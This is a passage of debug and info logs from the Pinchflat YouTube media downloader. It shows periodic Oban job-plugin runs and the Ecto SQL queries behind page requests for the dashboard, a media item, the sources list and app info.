{"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:48.346 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.278 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:32:18.347 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:48.348 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.279 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:33:18.349 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:48.350 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.280 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:34:18.351 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:48.352 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.281 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:35:18.353 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:48.354 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.283 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:36:18.355 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:48.356 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.283 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:37:18.357 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:48.358 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.284 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:38:18.359 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:48.360 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.285 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:39:18.361 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:48.362 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.286 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:40:18.363 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:48.364 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.288 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:41:18.365 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:48.366 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.289 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:42:18.368 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:48.369 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.289 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:43:18.370 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:48.371 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.290 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:44:18.372 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:48.373 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.291 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:45:18.375 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:48.376 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.292 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:46:18.377 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:48.378 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.293 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:47:18.379 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:48.381 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.294 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:48:18.382 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:48.383 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.295 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:49:18.384 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:48.385 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.296 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:50:18.386 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:48.387 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.297 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:51:18.388 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:48.389 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.298 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:52:18.390 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:48.392 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.299 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:53:18.393 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:48.394 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.300 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:54:18.395 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:48.396 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.301 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:55:18.397 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:48.398 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.302 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:56:18.399 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:48.400 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:49.284 [info] GET / 07:56:49.284 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 07:56:49.284 [debug] QUERY OK source="settings" db=0.2ms idle=1886.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:49.285 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1360.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 07:56:49.285 [debug] QUERY OK source="sources" db=0.0ms idle=887.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 07:56:49.296 [debug] QUERY OK source="media_items" db=10.5ms idle=885.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 07:56:49.296 [debug] QUERY OK source="media_items" db=0.3ms idle=370.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 07:56:49.297 [debug] QUERY OK source="settings" db=0.1ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:49.297 [debug] QUERY OK source="settings" db=0.1ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:49.297 [debug] QUERY OK source="settings" db=0.1ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:49.298 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 07:56:49.299 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 07:56:49.299 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 07:56:49.300 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 07:56:49.304 [debug] QUERY OK source="media_items" db=3.2ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 07:56:49.305 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 07:56:49.306 [debug] QUERY OK source="sources" db=0.2ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 07:56:49.307 [info] Sent 200 in 23ms 07:56:52.210 [info] GET /sources/2/media/9847 07:56:52.210 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9847", "source_id" => "2"} Pipelines: [:browser] 07:56:52.210 [debug] QUERY OK source="media_items" db=0.2ms idle=1812.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9847] 07:56:52.211 [debug] QUERY OK source="tasks" db=0.1ms idle=1813.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9847] 07:56:52.211 [debug] QUERY OK source="sources" db=0.1ms idle=1813.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:56:52.211 [debug] QUERY OK source="settings" db=0.1ms idle=1284.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:52.211 [debug] QUERY OK source="settings" db=0.0ms idle=282.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:52.212 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:52.212 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:56:52.214 [info] Sent 200 in 4ms 07:56:54.815 [info] GET /sources 07:56:54.816 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 07:56:54.816 [debug] QUERY OK source="settings" db=0.1ms idle=1418.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:54.816 [debug] QUERY OK source="settings" db=0.1ms idle=1419.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:54.817 [debug] QUERY OK source="settings" db=0.1ms idle=1419.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:54.817 [debug] QUERY OK source="settings" db=0.1ms idle=1420.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:54.818 [debug] QUERY OK source="settings" db=0.0ms idle=886.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:54.822 [debug] QUERY OK source="sources" db=3.7ms idle=1.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 07:56:54.826 [debug] QUERY OK source="sources" db=4.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 07:56:54.828 [info] Sent 200 in 12ms 07:56:57.334 [info] GET /app_info 07:56:57.334 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 07:56:57.335 [debug] QUERY OK source="settings" db=0.1ms idle=937.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:56:57.335 [debug] QUERY OK source="settings" db=0.1ms idle=937.9ms 